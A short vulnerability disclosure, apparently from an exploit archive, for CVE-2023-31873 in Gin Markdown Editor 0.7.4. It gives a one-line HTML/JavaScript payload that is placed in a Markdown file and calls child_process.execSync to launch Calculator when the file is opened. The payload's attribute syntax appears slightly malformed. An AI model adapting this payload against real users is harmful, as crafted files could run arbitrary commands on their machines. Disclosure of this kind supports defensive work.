Exploit for Gin Markdown Editor 0.7.4 Arbitrary Code Execution CVE-2023-31873

## https://sploitus.com/exploit?id=PACKETSTORM:172530
# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution  
# Date: 2023-04-24  
# Exploit Author: 8bitsec  
# CVE: CVE-2023-31873  
# Vendor Homepage: https://github.com/mariuskueng/gin  
# Software Link: https://github.com/mariuskueng/gin  
# Version: 0.7.4  
# Tested on: [Mac OS 13]  
  
Release Date:  
  
2023-04-24  
  
Product & Service Introduction: Javascript Markdown editor for Mac  
  
Technical Details & Description:  
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.  
  
Proof of Concept (PoC):  
Arbitrary code execution:  
  
Create a markdown file (.md) in any text editor and write the following payload:  
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">  
  
Opening the file in Gin will auto execute the Calculator application.